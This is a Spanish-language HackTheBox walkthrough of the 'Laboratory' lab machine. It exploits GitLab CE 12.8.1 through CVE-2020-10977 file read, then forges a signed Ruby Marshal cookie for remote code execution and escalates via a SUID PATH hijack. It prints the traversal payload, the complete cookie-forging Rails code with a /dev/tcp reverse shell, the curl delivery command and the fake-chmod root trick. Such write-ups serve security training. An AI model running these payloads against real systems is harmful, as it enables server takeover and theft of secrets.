the_open_door
café
ESEN

Laboratory

HackTheBoxFácilLinux10.10.10.216

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#linux#gitlab#cve-2020-10977#arbitrary-file-read#marshal-deserialization#rce#docker-breakout#suid#path-hijacking#oscp
TL;DR. En el 443 hay una instancia de GitLab Community Edition 12.8.1. Esa versión es vulnerable a CVE-2020-10977: la API UploadsRewriter, al mover un issue entre proyectos, copia ficheros referenciados con Markdown sin sanear path traversal, así que un ![a](/uploads/<token>/../../../../etc/passwd) produce lectura arbitraria. Con eso se exfiltra /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml y se obtiene el secret_key_base. Levantando un GitLab 12.8.1 idéntico en Docker localmente, se sobrescribe ese secret y se forja una cookie experimentation_subject_id con un objeto Ruby Marshal que invoca ERB (gadget DeprecatedInstanceVariableProxy). El servidor la deserializa al recibirla y ejecuta el payload → reverse shell como git dentro del contenedor. Desde gitlab-rails console se eleva nuestro usuario jaime a admin del GitLab, lo que destapa un proyecto privado de dexter con su id_rsa. SSH como dexter saca al atacante del contenedor al host. Para root, el SUID /usr/local/bin/docker-security llama a chmod con PATH relativo: un chmod falso en $PATH y el SUID lanza un /bin/sh como root.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que da una pista rápida del sistema operativo: valores cercanos a 64 suelen indicar Linux y cercanos a 128, Windows.

ping -c 1 10.10.10.216

ping a 10.10.10.216: ttl=63 confirma Linux

64 bytes from 10.10.10.216: icmp_seq=1 ttl=63 time=107 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Un barrido completo de los 65535 puertos TCP (-p-, sin resolución DNS ni ping con -n -Pn) localiza los abiertos; después, un -sCV dirigido sobre ellos detalla servicio, versión y scripts por defecto (primero descubrir, luego perfilar):

sudo nmap -p- --open --reason -n -Pn 10.10.10.216

nmap -p- en Laboratory: 22, 80 y 443

PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

extractPorts lee el fichero -oG del escaneo y deja la lista lista para el segundo comando:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.10.216 y puertos abiertos 22,80,443

Extracting information ...
IP Address: 10.10.10.216
Open ports: 22,80,443

Ports copied to clipboard

Solo SSH y la pila web. El -sCV dirigido sobre esos tres puertos detalla las versiones:

nmap -p22,80,443 -sCV 10.10.10.216

nmap -sCV: Apache 2.4.41, redirección a laboratory.htb y SAN git.laboratory.htb

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Dos datos salen de aquí. El 80 no sirve contenido propio: redirige a https://laboratory.htb/, así que hay que añadir el dominio a /etc/hosts para que el vhost resuelva. Y el certificado del 443 ya destapa, en la extensión SAN, un segundo nombre: git.laboratory.htb. El scripting por defecto de nmap regala el subdominio antes incluso de fuzzear.

nano /etc/hosts
cat !$

el /etc/hosts con la línea 10.10.10.216 laboratory.htb añadida al final

127.0.0.1       localhost
127.0.1.1       kali
10.10.10.216    laboratory.htb

Con laboratory.htb en /etc/hosts, la web principal es una página corporativa estática sin contenido aprovechable:

laboratory.htb: web corporativa estática sin nada útil

vhost desde el subdominio

Con wfuzz fuzzeando la cabecera Host (vhost fuzzing) aparece directamente un subdominio, git:

wfuzz -u https://laboratory.htb -H "Host: FUZZ.laboratory.htb" \
  -w subdomains-top1million-110000.txt --hl=209

wfuzz descubre el subdominio git.laboratory.htb

Cuando el fuzzing no da resultado (o como doble comprobación, que es el caso aquí: ya lo habíamos visto en el -sCV), el propio certificado SSL regala los subdominios en la extensión SAN (Subject Alternative Name). Merece la pena fijar el reflejo, porque en un HTTPS mal configurado el certificado es una fuente de nombres internos que no depende de acertar con el diccionario. El script ssl-cert de nmap lo expone aislado:

nmap --script ssl-cert -p443 10.10.10.216

ssl-cert imprime DNS:git.laboratory.htb como SAN

| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb

Equivalente con OpenSSL puro (útil cuando nmap no está disponible):

openssl s_client -connect laboratory.htb:443 2>/dev/null \
  | openssl x509 -noout -text | grep -E 'DNS|CN'

openssl muestra DNS:git.laboratory.htb en el certificado

Issuer: CN=laboratory.htb
Subject: CN=laboratory.htb
    DNS:git.laboratory.htb

El mismo dato se ve en el navegador inspeccionando el certificado (los SAN están bajo Subject Alt Names):

certificado SSL en el navegador: SAN git.laboratory.htb

El subdominio se añade a la misma línea del /etc/hosts:

nano /etc/hosts
cat /etc/hosts

el /etc/hosts con laboratory.htb y git.laboratory.htb en la misma línea de 10.10.10.216

127.0.0.1       localhost
127.0.1.1       kali
10.10.10.216    laboratory.htb git.laboratory.htb

Con eso, entrar al subdominio destapa el siguiente paso.

Fingerprinting con whatweb

Antes de tocar nada, un whatweb contra los dos vhosts para ver qué sirve cada uno:

whatweb https://laboratory.htb
whatweb https://git.laboratory.htb

whatweb contra ambos vhosts: Apache en el principal, nginx y cookies de GitLab en git

https://laboratory.htb [200 OK] Apache[2.4.41], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)],
  IP[10.10.10.216], JQuery, Script, Title[The Laboratory]

https://git.laboratory.htb [302 Found] Cookies[experimentation_subject_id], HTTPServer[nginx],
  HttpOnly[experimentation_subject_id], IP[10.10.10.216],
  RedirectLocation[http://git.laboratory.htb/users/sign_in], Strict-Transport-Security[max-age=31536000],
  X-Frame-Options[DENY], nginx

https://git.laboratory.htb/users/sign_in [200 OK] Cookies[_gitlab_session,experimentation_subject_id],
  HTTPServer[nginx], Title[Sign in · GitLab]

Wappalyzer, desde el navegador, dibuja el mismo contraste con más detalle. En el dominio principal solo hay un Apache sobre Ubuntu con jQuery:

la portada THE LABORATORY con Wappalyzer detectando Apache HTTP Server 2.4.41, Ubuntu y jQuery 3.2.1

Y en el subdominio, una pila entera de aplicación: Ruby on Rails detrás de nginx, con Vue.js, Webpack y el propio GitLab identificado como producto.

el login de GitLab Community Edition con Wappalyzer detectando GitLab, Ruby on Rails, Ruby, Vue.js, nginx, Webpack, Bootstrap 4.3.1 y jQuery 3.4.1

El contraste entre los dos vhosts ya dice bastante: el sitio corporativo lo sirve Apache, mientras que git responde con nginx y el título Sign in · GitLab. Es decir, no son la misma aplicación detrás del mismo Apache, sino un GitLab (que empaqueta su propio nginx) publicado como vhost aparte.

Conviene fijarse en un detalle que parece decorativo y acabará siendo el vector final: entre las cookies que emite GitLab está experimentation_subject_id. Esa es exactamente la cookie que más adelante se forja con un objeto Ruby serializado para conseguir ejecución remota.

GitLab Community Edition 12.8.1

git.laboratory.htb aloja una instancia de GitLab. Para ver nada interno hace falta registrarse, pero el registro tiene un detalle: solo acepta correos del dominio @laboratory.htb. Un primer intento con un correo genérico lo rechaza:

registro de GitLab: primer intento con jaime@jaime.com

registro rechazado: el dominio del correo debe ser @laboratory.htb

Con un correo @laboratory.htb el registro pasa, y la versión queda visible en Help → About:

About: GitLab Community Edition 12.8.1

Versión muy concreta (no la más reciente). Una búsqueda rápida del producto y la versión apunta al reporte público de HackerOne #827052, que corresponde a CVE-2020-10977, exactamente el vector que vamos a usar:

búsqueda de vulnerabilidades de GitLab CE 12.8.1: HackerOne #827052

Acceso al host

CVE-2020-10977 (UploadsRewriter, arbitrary file read)

El bug: al mover un issue entre proyectos, GitLab reescribe los enlaces a uploads embebidos en la descripción Markdown. La función UploadsRewriter toma el path tal cual, sin validar ../, lo que permite path traversal y leer cualquier fichero al que llegue el usuario git.

Reporte HackerOne CVE-2020-10977: pasos para reproducir

El payload va en la descripción del issue, con la sintaxis de imagen de Markdown. El token de 32 caracteres tras /uploads/ es un relleno: no tiene que existir, solo sirve para que la ruta encaje con el patrón que UploadsRewriter reconoce antes de aplicarle el traversal:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../etc/passwd)

El procedimiento:

  1. Crear dos proyectos (proyecto1, proyecto2) desde Projects → New project.

La barra superior de GitLab con el menú Projects desplegado, la opción Your projects y el botón verde New project resaltados

El formulario solo pide nombre; la visibilidad se queda en Private porque el administrador ha deshabilitado el resto de opciones, lo que da igual: la vulnerabilidad no depende de ella.

el formulario New project con el nombre proyecto 1, visibilidad Private y el botón Create project resaltado

el mismo formulario New project con el nombre proyecto 2 y su slug proyecto-2

los dos proyectos creados en GitLab

  1. Crear un issue en proyecto1 con esa imagen Markdown en la descripción (Issues → New issue). El proyecto recién creado está vacío, y el menú lateral es el que da acceso a los issues:

La vista de proyecto 1 en GitLab, con el repositorio vacío y el menú lateral Issues desplegado sobre la opción List

el Issue Tracker vacío de proyecto 1 con el botón verde New issue resaltado

New Issue con el payload de path traversal en la descripción

  1. Mover el issue a proyecto2 (Move issue → proyecto2).
  2. GitLab "copia" el fichero referenciado: al abrir el nuevo issue, el enlace apunta al /etc/passwd real, descargable.

issue movido a proyecto2: aparece el enlace al passwd extraído

El fichero descargado es el /etc/passwd completo de la máquina, lo que confirma la lectura arbitraria:

contenido de /etc/passwd exfiltrado vía el arbitrary file read

root:x:0:0:root:/root:/bin/bash
...
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false

Confirmado que se lee /etc/passwd, el objetivo real es el secret_key_base del Rails que sirve GitLab. Está en:

/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

Se repite el mismo procedimiento creando un segundo issue, esta vez desde el listado de proyecto 2, donde ya figura el issue anterior (passwd) como prueba de que el primer paso funcionó:

el listado de issues de proyecto 2 con el issue passwd ya movido y el botón New issue resaltado

Y con el payload apuntando esta vez a secrets.yml:

nuevo issue con el payload apuntando a secrets.yml

Y se mueve igual que antes para que GitLab copie el fichero:

moviendo el issue a proyecto1 para que GitLab copie secrets.yml

El enlace del issue movido descarga el YAML completo:

secrets.yml descargado: db_key_base, secret_key_base y otp_key_base en claro

El fichero cae en ~/Downloads, así que se mueve al directorio de trabajo de la máquina antes de seguir:

mv /home/krmena/Downloads/secrets.yml ../content

mv del secrets.yml desde el directorio de descargas del navegador al directorio de trabajo de la máquina

production:
  db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
  secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
  otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
  openid_connect_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----

El valor que importa es secret_key_base, la clave con la que Rails firma las cookies de sesión. Teniéndola, podemos emitir cookies que GitLab aceptará como legítimas.

GitLab firma sus cookies con secret_key_base. Si controlamos esa clave, podemos forjar una cookie firmada con un payload Ruby Marshal que GitLab deserializará al recibirla. Como cookies_serializer en esa versión está en :hybrid, Rails acepta payloads Marshal viejos por compatibilidad, y la deserialización de objetos arbitrarios se traduce en RCE con el gadget clásico ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy + ERB.

El propio reporte de HackerOne documenta la segunda mitad de la cadena y trae la prueba de concepto: cambiar el secret_key_base de una instancia propia por el de la víctima, generar la cookie en una rails console y enviarla. La PoC original se limitaba a escribir un fichero (echo vakzz was here > /tmp/vakzz) para demostrar la ejecución sin causar daño; nosotros cambiamos ese comando por una reverse shell.

El comentario del reporte lo explica paso a paso y trae el código exacto de la rails console, que es justo el que se va a reutilizar cambiando el comando final:

el comentario de vakzz en el reporte de HackerOne explicando cómo convertirlo en RCE, con las ocho líneas de rails console que generan la cookie

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `echo vakzz was here > /tmp/vakzz` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

la PoC del reporte: generar la cookie en rails console y enviarla con curl

Para fabricar la cookie con el algoritmo y formato exactos del GitLab vulnerable, lo más limpio es levantar localmente la misma versión y usar su gitlab-rails console. La forma de montarla no hay que adivinarla: la propia documentación de GitLab publica la imagen oficial.

la búsqueda de "gitlab docker" devuelve como primer resultado Install GitLab in a Docker container en docs.gitlab.com

la página Install GitLab in a Docker container de GitLab Docs con el enlace a las imágenes oficiales en Docker Hub resaltado

docker run gitlab/gitlab-ee:12.8.1-ee.0
docker exec -it <container-id> /bin/bash
nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml   # pegar el secret_key_base extraído
gitlab-ctl restart

La etiqueta exacta se saca del listado de tags de la imagen en Docker Hub. La página ofrece por defecto el docker pull de la versión actual, que no sirve: hay que editar el tag a mano y pedir la vulnerable, 12.8.1-ee.0.

tags de gitlab/gitlab-ee en Docker Hub; el pull por defecto trae la versión actual, no la vulnerable

docker run gitlab-ee:12.8.1-ee.0 levantado en local

Dentro del contenedor se mira primero el secret_key_base original (el que vamos a sustituir por el de la víctima):

docker exec en el contenedor local: secret_key_base original

Se reemplaza por el extraído de la víctima y se reinicia GitLab:

secret_key_base reemplazado en el secrets.yml local

gitlab-ctl restart: todos los servicios reiniciados

ok: run: gitaly: (pid 1944) 0s
ok: run: gitlab-workhorse: (pid 1975) 0s
ok: run: puma: (pid 2008) 1s
...

Antes de forjar nada conviene comprobar que el cambio ha tomado efecto, que es donde se pierde más tiempo si falla: al abrir la consola y construir el objeto request, Rails imprime su configuración, y ahí deben aparecer el secret_key_base de la víctima (no el que traía el contenedor) y el serializador de cookies en :hybrid:

la consola del contenedor local ya reporta el secret_key_base de la víctima y cookies_serializer :hybrid

"action_dispatch.secret_key_base"=>"3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3"
"action_dispatch.cookies_serializer"=>:hybrid

Las dos condiciones del ataque quedan así verificadas sobre la propia réplica: firma con la clave de la víctima y acepta Marshal.

Con eso, dentro del gitlab-rails console se forja el payload:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

gitlab-rails console imprime el valor de la cookie firmada

La salida es una cadena BAhvOkBBY3Rpdm...--<firma_HMAC> lista para usarse como experimentation_subject_id. Con un listener a la escucha:

nc -nlvp 443

se dispara enviando la cookie a cualquier endpoint autenticado del GitLab víctima:

curl -vvv -k 'https://git.laboratory.htb/users/sign_in' \
  -b "experimentation_subject_id=<payload_base64>--<firma>"

nc recibe la reverse shell tras enviar la cookie maliciosa

La shell que llega es del usuario git dentro de un contenedor (Omnibus GitLab corre con docker). El siguiente paso es salir.

Docker breakout vía gitlab-rails console

El usuario git dentro del contenedor controla el GitLab. La forma menos vistosa de pivotar es elevar nuestro usuario jaime (el creado para registrarse) a admin desde el gitlab-rails console interno.

La propia consola confirma dónde estamos: el prompt es git@git (el contenedor se llama git) y la versión que reporta es la 12.8.1 FOSS de la víctima, no la 12.8.1-ee de nuestra réplica local. Primero se localiza el usuario:

User.find_by_username('jaime')
GitLab:       12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL:   10.12

Loading production environment (Rails 6.0.2)
irb(main):001:0> User.find_by_username('jaime')
=> #<User id:5 @jaime>

gitlab-rails console dentro del contenedor víctima: GitLab 12.8.1 FOSS y el usuario jaime con id 5

Existe y es el id:5. Se guarda en una variable para operar cómodamente sobre él y se le da el flag de administrador:

u = User.find_by_username('jaime')
u.admin = true
u.save!

rails console: u.admin = true y u.save!

Al recargar el GitLab web ya con sesión de jaime (ahora admin), el panel de administración lista todos los proyectos, incluidos los privados de otros usuarios. Entre ellos, SecureDocker de dexter:

panel de admin de GitLab: proyectos privados de dexter visibles

El proyecto privado de dexter contiene una id_rsa:

proyecto privado de dexter con su SSH key id_rsa de dexter descargado y permisos 600

chmod 600 id_rsa
ssh -i id_rsa dexter@10.10.10.216

SSH como dexter en el HOST (no en el container)

La sesión queda en el host real, fuera del contenedor (la primera shell era git, el container; esta es dexter en laboratory). La flag de usuario es trivial:

cat user.txt

user.txt leído como dexter

c1e8b653e1a0d623f5b7df38c5271643

Escalada a root

SUID docker-security + PATH hijack

Buscando binarios SUID que no sean de la lista estándar:

find / -perm -4000 2>/dev/null | grep -v snap

find -perm -4000 destaca /usr/local/bin/docker-security

/usr/local/bin/docker-security

ltrace docker-security deja claro qué hace internamente:

system("chmod 700 /usr/bin/docker")
system("chmod 660 /var/run/docker.sock")

El detalle clave: chmod se invoca sin ruta absoluta. system() usa sh -c "chmod ...", y sh resuelve chmod recorriendo el $PATH. Si el primer directorio del PATH contiene un fichero llamado chmod, lo ejecuta antes que /usr/bin/chmod. Como el binario tiene SUID root, lo que ejecute ese chmod falso corre como root. Es el clásico abuso de SUID por PATH hijack.

echo '/bin/sh' > chmod
chmod +x chmod
export PATH=/home/dexter:$PATH
docker-security

chmod falso planta /bin/sh; docker-security lo ejecuta como root

# id
uid=1000(dexter) gid=1000(dexter) euid=0(root) groups=1000(dexter)
# cat /root/root.txt

Cadena de ataque

nmap (22, 80, 443)
  └─> ssl-cert SAN → git.laboratory.htb
        └─> GitLab CE 12.8.1 → CVE-2020-10977 (UploadsRewriter file read)
              ├─> /etc/passwd  (PoC)
              └─> secrets.yml → secret_key_base
                    └─> Docker local con gitlab-ee:12.8.1-ee.0
                          └─> gitlab-rails console → cookie experimentation_subject_id
                                con Marshal(ERB + DeprecatedInstanceVariableProxy) → RCE
                                └─> reverse shell como `git` (dentro del container)
                                      └─> rails console: User('jaime').admin = true
                                            └─> proyecto privado de dexter → id_rsa
                                                  └─> ssh dexter@host (fuera del container) + user.txt
                                                        └─> SUID docker-security llama a `chmod` (PATH relativo)
                                                              └─> chmod falso = /bin/sh → root + root.txt

Lecciones aprendidas

  • Cuando wfuzz/gobuster no destapan vhosts en HTTPS, el certificado suele regalarlos en la extensión SAN. nmap --script ssl-cert o openssl s_client | x509 -text valen lo mismo.
  • Saber qué quiere decir una versión en el banner es la mitad del trabajo: GitLab 12.8.1 → CVE-2020-10977, sin necesidad de fuzzear nada.
  • Las vulnerabilidades en serializadores (Marshal, pickle, BinaryFormatter, etc.) suelen requerir reproducir el entorno exacto del objetivo en local. Docker hace esto trivial: el atacante levanta una réplica de la misma versión, le inyecta el secreto extraído y forja el payload con sus propias herramientas internas.
  • Una reverse shell dentro de un container con gitlab-rails console no necesita técnicas de breakout: escalar el rol del propio atacante en la aplicación (de usuario normal a admin del GitLab) abre acceso a artefactos del host (claves SSH, configs) que ya viven en volúmenes compartidos.
  • Un binario SUID que invoca otros binarios sin ruta absoluta es equivalente a darle root a quien controle el $PATH. Comprobar siempre con ltrace/strings, no asumir.
Cheatsheet de comandos 20 comandos

Repaso rápido